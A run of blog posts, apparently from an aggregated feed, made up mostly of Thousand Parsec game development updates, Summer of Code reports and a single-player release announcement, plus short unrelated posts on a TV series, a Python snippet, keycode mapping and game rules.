Starmap: The starmap is still a work in progress. The starmap will be tied to the object model. Basic drawing is functioning but still need to implement game object coordinate readings.
Messages: The basic backbone for the message system will be similar to the logger. This will be added later this week. The protocol functionality for messages is not yet implemented, but Parsek will be ready for message support.
Orders: As mentioned during the midterm report, this feature was removed from the project scope. I will start working on this after the object system is fully functioning.

Coming Soon
There are somethings not included in the current build. I will be adding these features over the next few days after a little more testing and proper integration. This includes a more robust object model with support for object parameters including resources. The object viewer interface will also be further improved to provide a better user experience. The object model behind the object viewer will be expanded with abstract type implementation and also work with orders, players, designs, and resources. In addition, a player viewer will added shortly. This will provide a display of the game’s player and later allow the user to send a message or read information about selected players. The chat system will be integrated with the logger and both will allow for filtering and sorting.

The next major feature coming soon is an overhauled main interface. The default dock widget system is ugly and the advantages it provides are minimal. This is a game, not an IDE, so I see little need to provide a fully modifiable window. The new main interface will display the game widgets in an organized and effective manner while working with low resolution displays. The target is to have Parsek function well on 800×600 displays. There will also be a splash window at the start which will allow user to connect to games. The connection manager will also include an account manager. A simple custom button interface will replace the traditional application menu.

Future Visions
Future plans include completion of the message system and the order system. I also plan on configuring Parsek to watch for changes in real time and display updates asynchronously instead of downloading all objects at each EOT. I will spend time working on the protocol library to complete support of some the important features still missing. I will try to complete my failed efforts to get the protocol library functioning on Windows by providing supporting network implementation. After the interface overhaul, I hope to extend Parsek to provide support for 3D graphics.

Screenshots

Time flies fast when you're having fun. GSoC is over, and I'm not finished -- that's a fact. But I'm not willing to finish -- that's another.

I didn't fully realize the sheer amount of work that the server needed. Let's face it -- there were many parts in it's code that were ages old. I am quite proud that this is not the case with the code currently in the refactor branch.

The ideas I suggested in the proposal are still valid, and I'm still sure that they are going to greatly benefit TP in general, however, during the few months of GSoC I understood that my main assignment was to bring the code base up to a nowday standard. In terms of my original goals, I admin -- I failed. But in terms of sheer changes, lines of code touched, and improvements made, I feel that I did a big amount of good work.

What has been done?

The most important work done is making the code "contemporary". Typedefs are used where applicable, the code uses STL to it's full power (powered up by a custom algorithms collection), all pointers are managed with shared_ptr and weak_ptr classes. Interfaces have been streamlined, many of the changes were directly injected into the 5 existing rulesets. Most important of all, hundreds of duplicate lines of code were removed, and the structure of the server was made more concise. Almost all Protocol-related classes now are descendants of a common ProtocolObject base class that handles many tasks on it's own. I also worked hard on grouping logical actions together, for example to handle frame processing only in distinct places -- this however needs more work. Also, see the midterm report, it handles some of the above changes in more detail.

What needs to be done?

There are a couple of things unfinished -- Order's are still passed via normal (non-shared) pointers, and there are a couple of standalone pointers dangling around. This wont take much time and will be done as soon as I come back from vacations.

Documentation is missing -- yeah, I promised that I'll do that, but seeing the amount and scale of changes that I needed to do, I decided that documenting the classes should wait until the server more or less stabilizes.

Compilation of optional parts -- some of the optional enhancements like avahi or mzscheme do not compile and weren't tested at all -- pushing them up to compilation state shouldn't take long, testing will take longer.

But most of all -- TESTING -- I'm pretty sure there are bugs in the server as it is now, probably plenty of them. Especially at the last weeks I kinda pushed testing away to at least accomplish the basic tasks of my original proposal. However, I fully commit myself to getting the stability needed to make the refactor branch the new head.

What is planned further?

Ideas from the original proposal are still valid, out of them I would especially like to implement ASIO, as I really want to learn it better. However as I see now, if ASIO would be the goal, it'd have to be a separate GSoC project, and considering the state that I saw the server in at the start it'd probably be a hack-fest in itself. Not to mention that the resulting implementation would be buggy as hell because the server is completely not ready for threading.

More integration of common code is also possible -- one of them is the barely started Manager base class, and ID list frame processing. However here there are a few more ideas that I'd love to do.

Most of the tasks in the bug tracker seem now trivial to do, I'll address them also (hey, I do wanna get that TP T-Shirt, and preferably another one for my girlfriend, because she likes the design ;>).

What would be really cool?

I'd like to see 0.5 of the protocol updated design that would allow for easier integration of common code -- separation of frames into classes that could be handled by the same processing code. However that's a very far wish-list, and wouldn't do much good if the server were to support legacy protocols (why do we need that anyway? There are not much games in progress now, are they?).

I'd also like to see most of the ruleset data stored in XML files. As for now, there is way too much code that just sets up strings in the code. On a further note, why not add lua support to the level that would allow creating a ruleset just with lua and XML?

Summary

It seems I'd like to be a TP-developer, at least until the server is up to date. Maybe I won't be able to commit as much time as you guys, but damn I'd like to see this server being top class ;).

Parsek’s object tree is now functioning. There is still a lot of work to do to clean it up, make it look nice etc but the overall functionality is now there and works. I’ll be adding a seperate widget that popups when a selection is made in the tree and displays the object’s full information, instead of trying to embed it all in the tree’s columns.

Have a look at the screenshot! The tree hierachy matches tpclient-pywx with the exception that lone objects who’s parent are the galaxy (after they have left a system) are all listed at the bottom, instead of underneath their old parent system.

Yay! So I’ll be adding more features to this as well as hopefully getting the starmap in place (now that I know the information from the data model is loaded correctly) in the next few days. Once all the bugs are fixed in the object tree, I’ll add it to the KDE svn branch.

Its not an easy task to post a blog post every 2-3 days, but here is another update atleast. So what can you do after this 5 days? You can create all orders that only contains arguments that are position or time based. That means that you for example can post No-operation and Move orders. You can also update the same type of orders. And you can remove all type of orders. There were a few problems when working this week. It wasn’t easy to get remove and update orders to work as I work from a different type of model. In the python client (tpclient-pywx) you have access to all objects and can use them whenever. But I use an http model and need to convert the objects to json and send them to the javascript frontend where the user does something (remove, update etc) and then send the data back and convert it into python objects and then use the libtpproto-py functions. But I managed to get it working by using a few hacks to make sure that ints and strings was passed around correctly.

The next thing to work on is doing List, Object, String based arguments so all possible orders may work with the webclient. These arguments seem to work a little different but I should able to get it to work pretty fast as the structure is there now and there is just a matter of adding the arguments. The problem I might have is to convert for instance whole objects and sending them over http. But from what I can see (did some research earlier) it shouldn’t be impossible

Thats it for today, more work tomorrow as its not much time left on GSoC.

In the last post I worked on a prototype. The prototype I wrote was for the backend and how to send orders correctly to TP-servers. During Wednesday I worked with getting the interface/frontend to show a create order dialog. And on Thursday I got it all to working with sending a simple move order and commited it to the tp-git. On friday I worked a bit with the interface because it was really simple in the first commit. I also added the ability to select current orders and display a form for update and delete. The next thing I’m gonna do on Monday is to add the ability to update and remove orders in the backend. After that I will work on getting more orders to work in the interface.

• Laser firing
• Engine trails
• Warping in

• Changed the controls from buttons to StaticImages which are mostly transparent (looks great!)
• Revamped the progression system so that it moves by events now, which have the option of delaying the progression if they need to take a while (such as more elaborate Fire events might in the future or Move events.)
• Finished collision detection just far enough to notice that there is a much much better way to be doing that I will try to implement on Sunday or Monday. Right now I loop through and check all entities against the moving entity and if their spheres overlap I give the obstacles a push so they drift around the side. Kudos if you can name the immediate problems with this. One: Hackish. Two: Since drifting back to their original position is also treated as a sort of Move event, the obstacle and moving ship will push each other around until one drifts over to the side and they snap into place. The improvement I'm looking at is using Ogre's intersection queries so ee if any bounding boxes are overlapping and then do a check against their bounding spheres. I have also found a way to set certain flags on objects so I can exclude all objects moved by actual Move events and give them the priority when it comes down to moving obstacles out of the way. Other than that though, the function to bounce the obstacle back will be the same and translate it back so the spheres are not overlapping anymore.
• I've also done a little preliminary work on loading other battlexml files, but this one is puzzling me and may require more of a rewrite than I'm comfortable with. Unless of course I ask in the command line, but who would want that?

Time to take a brief pause and take a look at the progress so far, and especially the road ahead.

What has been done

1. Documentation - partial doxymentation has been done. However in the core functionality classes I decided to postpone this step for later - functions disappear and change functionality, so things aren't yet stable enough.
2. Code style - reformatting of whitespace is done on a file-worked-on basis. Renaming of variables to more readable is done where needed. Some whitespace is also added for added readability.
3. Typedefing - all built-in type STL containers (e.g. set of uint32_t) are now typedefed. FrameType and other enums are used where applicable, connection status is an enum. Some of the other containers are also typedefed, some are still left - usually in places where another refactoring is planned.
4. Code cleanup - a lot of unused/unneccessary code was removed. A *lot* of duplicate code was moved into common places (mysqlpersistence lost almost 100kb of code!)
5. Baseclassing - a hierarchy of basic base classes has been introduced and intergated almost everywhere where applicable : Identifiable, Nameable, Describable, Modifiable, Packable. Two fully traited classes have been introduced : ProtocolObject and ProtocolView. Integration has allowed removal of a lot of copy-paste code, and the possibility of starting refactoring using basic class traits.
6. Network code - there was a big mess in the connection classes. I changed the inheritance tree what allowed a huge removal of duplicate code between the same functionalities.
7. Messages - message and message board code was highly rewritten, moved to shared pointers and reorganized
8. Exception handling - started work on using exceptions instead of error codes, created two base exception classes. More work to be done.
9. Frame handling - frame's can pack now complex structures themselves.
10. *View refactoring - ProtocolView base class, and major PlayerView refactoring done.
11. STL usage - in many places correct STL usage has been introduced.

What hasn't been done and why

1. Modularization - I was explicitly asked not to rename and move files, however, in the last weeks I'll post a suggestion of reorganization/modularization to the developer list to be put under discussion.
2. ASIO - lack of time.
3. Several unfinished items from the list above

Generally once I took a serious dive into the code, it turned out that there are a lot of places in the code that could use a cleanup. I'd rather invest time to do that properly and orderly than rush ASIO in.

What will be done next

I allow myself the liberty of throwing ASIO out of the first half of the project, and restructuring the plan to the fact that Phase 1 takes a whole half of the project. With this revised plan, I am of course still a little behind schedule because of the unfinished things in Phase 1. I consider that as a list of things to be invested with additional time. That leaves us with Phase 2, Phase 3 and Phase 4 for the rest of the project. I'd like to receive feedback as of what should be the priorities here, as I won't be able to push in all three phases into the rest of the program, at least in the GSoC timeline.

Current initial plan is to finish up Phase 1, move to Phase 3 (with a priority on shared pointer transition) then moving back to implementation of Phase 2. If time is left (what I doubt) I'll move to elements of Phase 4.

• Since the transmissions are one-way, the signal needs to be robust. We also assume that the rollerblades are both powered and in proximity to one another.
  
• Power management. Should the skates power off after a period, and power on via the pressure switch? We likely want the main counter registers to be non-volatile.
  
• Pressing a button on the left skate to activate a display on the right skate seems somewhat awkward from a user perspective.
  

I have recently been watching and really enjoying a little known series called Starhunter. At first I thought it was an enjoyable rip off of Firefly, so i was surprised to find out that it was made first.

It has so many of the same elements, the quirky ship mechanic, the captain who doesn’t play by the rules with a darker background, raiders, etc. I have no doubt that Joss Whedon stole many the ideas for Firefly from this series and in the process improving on them in many ways. Sadly, like Firefly this series was canceled way before it reached a wide audience.

You can watch the “second season” (Starhunter 2300), which is closer to a spin off  rather then a second season (most of the characters have changed), on Youtube. I would highly recommend people who enjoyed Firefly check it out. Since its free, what have you got to loose?

While the first season is available on Joost, it is apparently horrible mangled. Sadly, the DVD’s are not available here in Australia so I’m going I’m going to have to buy them from Amazon.

from random import randint

def random_subset( s, n ):
    if len( s ) < n:
        raise ValueError, ( "Subset larger than input set" )
    l = list( s )
    r = set()
    for i in range( n ):
        r.add( l.pop( randint( 0, len( s ) - i - 1 ) ) )
    return r

1. I figured the keycodes out by running xev and banging on the buttons.


2. XF86LightBulb is the closest thing I could find to "sports" that wasn't already taken.


3. The volume knob "clicks" and sends a keycode 176 or 174 depending on the turn direction.


4. I did not map help, HP, printer, or camera because they do not appear to generate keycodes.


5. I did not map audio load because I forgot. I will do it when I can think of an action to bind it to.

As you probably read from my previous post, Thousand Parsec had quite a successful Summer of Code last year. Unlike previous years, where we have concentrated on getting new stuff developed, this year we have decided to concentrate on building on the work of our previous years students. This is a great way to learn that important skill of working on other people's code.

With the deadline looming, some of the ideas on our ideas page have already had lots of attention, but there are a number of ideas which have yet to have any applications. I would like to point out these ideas because we think they are very important and have a good chance to be accepted!

Some of the most important ideas have to deal with our coolest looking last Summer of Code project last year, Eugene Tan's new 3d client.

• Adding single player support to the 3d client.

  As mentioned here we have just release single player support in our 2d client. We would like to see this extended to support our other major client.

  Most of the code for this support is in the libtpclient-py support library that is already shared between both the 3d and 2d clients, so it should be significantly easier then Ezod's own task.

• Create a "Simple 3d ship designer".

  Spore has shown us that it is possible to give people non-professional 3d artists, the ability to create cool looking models. With a little bit of prefabed art work and some easy transforms, even programmers don't have to be scared anymore.

  We would like to see a similar ability added to Thousand Parsec. It can be developed as part of the 3d client or as a stand alone program.

Another project we think is really important, is to continue the efforts to improve single player support. These include,

• Adding support for saving and restoring games.

  Having to play a complete game in one sitting is a real pain, specially since some of the Thousand Parsec games can requires many hours to play. The jist of this idea would be to add save/load support found in most game types.

  This would require adding saving/loading support to a number of back end projects like our primary server (tpserver-cpp) and daneel-ai.

• Adding support for single player "scenario" mode.

  In some ways, this is related to the previous idea but a little simpler. This would be similar to the "missions" you get in other normal games.

  An example would be something like "King Unorganised has run our intergalactic empire into the ground, we have put you in charge of restoring us to our former glory."

• Extending single player support to include "set up your own multiplayer game".

  Single player support has also paved the way towards adding support for simple wizard set up of games to be played with friends. Much of the procedure is the same and we already have an auto-discovery process created.

Getting started with the single player development should be very easy, it only takes 6 commands!

 git clone git://git.thousandparsec.net/git/tpclient-pywx.git
 git clone git://git.thousandparsec.net/git/daneel-ai.git
 git clone git://git.thousandparsec.net/git/tpserver-cpp.git
 cd tpserver-cpp; ./autogen.sh; ./configure; make; cd..
 cd tpclient-pywx
 ./tpclient-pywx

If you are interested, I suggest that you jump on IRC and chat with our wonderful bunch of mentors. It is also recommended that you put in an application (even if only a draft) as soon as possible, as we are happy to help you with your application and provide feedback.

Bookmark/Search this post with:

- delicious - digg - technorati

Thousand Parsec is pleased to announce our first release that includes single player support. Now all of our players can easily enjoy the game at anytime, whether or not they can find other interested players. We've made several other improvements with this release, but this feature is the most significant change for 0.3.2. Binaries are currently available for Windows and will soon be available for other systems (but you can always grab the code from our repository!).

Single player support is a huge step forward for us, as it gives players a quick way to get involved with minimal fuss. We have strived to hammer out this functionality for the past 3 years. Better still, contributions from Google Summer of Code students have allowed us to reach this goal.

The story of this release is long, and has its beginnings back in 2008 when Thousand Parsec joined Google Summer of Code for the second time. The previous year's GSoC had been very successful, and we were looking to achieve even more success in round two.

Ezod is our first Summer of Code student. He was pivotal in making this new release possible. At the start of the summer, he proposed an interesting project, "Add single player support to Thousand Parsec". Little did he know what he was getting into!

To the naive, this may have seemed like a simple project; all it needed to do was start up the server and an AI or two in the background. The proposal actually meant that Ezod would have to touch almost every part of the code base and project infrastructure, from the servers, through the AIs, to the clients. Thousand Parsec was never really designed to work in this way, as everything designed to run standalone.

We had no qualms about Ezod's skill having already started submitting patches and packaging Thousand Parsec for Gentoo, but the extent of the changes needed for the proposal to work still raised some skepticism. To make things tougher, we had received a large number of quality applications, meaning that we had plenty to choose from.

Luckily, Google blessed us with more slots then we could manage (we ended up giving back two) and it was decided to take a risk. By the end of the summer Ezod had not disappointed -- he had the basics working -- but it would take another 9 months and integrating the work of two other students before we would reach the release we have today.

One problem we faced was that a game is not fun if you don't have any competition. This is were our second Summer of Code student joins us.

Iwanowitch put in a proposal for creating a rule-based AI for Thousand Parsec. His proposal was one of the two AI projects accepted as part of the 2008 Summer of Code.

The AI originally targeted the RFTS ruleset, which was developed as part of our first Summer of Code. While functionally complete, it ended up having a number of show stopping bugs for AI development. This only became clear halfway through the summer with the mid-term evaluations coming up.

The mentors put their heads together, and the best solution we could come up with was for the AI to switch to a different ruleset. This decision would later decide which ruleset Ezod would support in single player mode.

Thanks to a good design, by the final evaluation, Iwanowitch had his AI competing against the second AI being developed over the summer. Ezod then worked with Iwanowitch to integrate the AI into the single player mode, and it has now become the major opponent that everyone who tries out Thousand Parsec will play against.

So which ruleset did they switch to, you ask? Well, that is where our third summer of code student comes in.

Jphr proposed (and was accepted) to create a new ruleset for Thousand Parsec. Not having any C++ experience at all, he choose the ambitious goal of developing a modified version of the risk board game for the C++ server. He charged through the development, and by the mid-term evaluation the core rules had already been well developed and he was working on more advanced features such as custom maps.

It made sense for us to suggest that the AI guys target this ruleset. It had already been shown to be solid and it helped relieve some of the painful process of finding bugs. This also meant that with Ezod's help, Jphr's ruleset has gone on to be the first to be fully supported by single player mode.

So that is the story of how three students' work came together to produce this release. Both Iwanowitch and Ezod will be joining Thousand Parsec as Summer of Code mentors this year. These were not our only successful projects for Google Summer of Code 2008 -- in fact, all of our projects achieved success that year and more can be read about the others on our website.

Sound like everything for Thousand Parsec has already been finished? Far from it! We are glad to be participating in GSoC once again, and I hope this story has inspired you to be part of Google Summer of Code and part of the Open Source community.

Bookmark/Search this post with:

- delicious - digg - technorati

So one of the other things I worked on at Linux.conf.au was a project Joel Stanley started, “Open Velociraptor Per Child, the Game!”.

The game comes out of the Open Velociraptor Per Child project’s ideas. The OVPC project aims to give every child in the world their very own Velociraptor. The game simulates what would happen if this project was ever to achieve it’s wonderful but lofty goal.

My main contribution was adding support for (very bad) collision detection, scoring and difficult levels. However, what I spent most of my time was spent making bad programmer art, that of the particularly gruesome child death animation. I like to think it was this artwork that meant we won top spot at the Gaming Miniconf competition, beating the “Shave Bdale” game.

You can download the game from the git repository. Have fun!

• Colonists may colonize a system: this consumes the colonist and generates a resource of the colonist type on the system.
• Leaders may move to occupy a system: this does not consume the leader. This order is used to harvest resources for points.
• Bombers may destroy a star system. This removes all resources, leaders, and anything else in the system and prevents any further orders from being executed on that system.

• Each player may execute 2 orders per turn.
• A system may only be colonized if it is not occupied by a leader and has not yet been colonized.
  
• Mining ships may ONLY colonize uninhabitable systems and these systems may not be colonized by any other type of ship.
• Leaders may only be moved into an unoccupied, uncolonized, inhabitable system which is directly adjacent to a science colony.
• There are 4 different "points" which each player can receive; one for each of the colonist types.
  
• When a system is colonized, the player who owns the leader of the same type in the region of the new colony receives one point of that type. If there is no leader of the correct type then the owner of the Settler leader in that region gets the point. If there is no settler leader, then no one gets the point.
• If there are two or more alien artifacts in the same region at the end of a turn, then the person with the Merchant leader in that region gets to take one of the artifacts. An alien artifact acts 1 point of a type of the player's choosing.
• Leaders may not join two regions together.
• If a leader is placed in a region which already contains a leader of the same type, internal combat is initiated (not yet implemented).
• If two or more regions are joined and they contain leaders of the same type, then external combat is initiated (not yet implemented).
• Combat is not yet implemented and is not covered in this rules overview.
  
• At the end of each turn, each player's reserve of colonist ships is refilled to 6 randomly from a pool of ships.
• When the pool of colonist ships is empty, the game is over.
• When there are 2 or fewer alien artifacts left on the board, the game is over.
• Each player's score is equivalent to the number of points in the type which they have the fewest points in. (the final score tally is not yet implemented).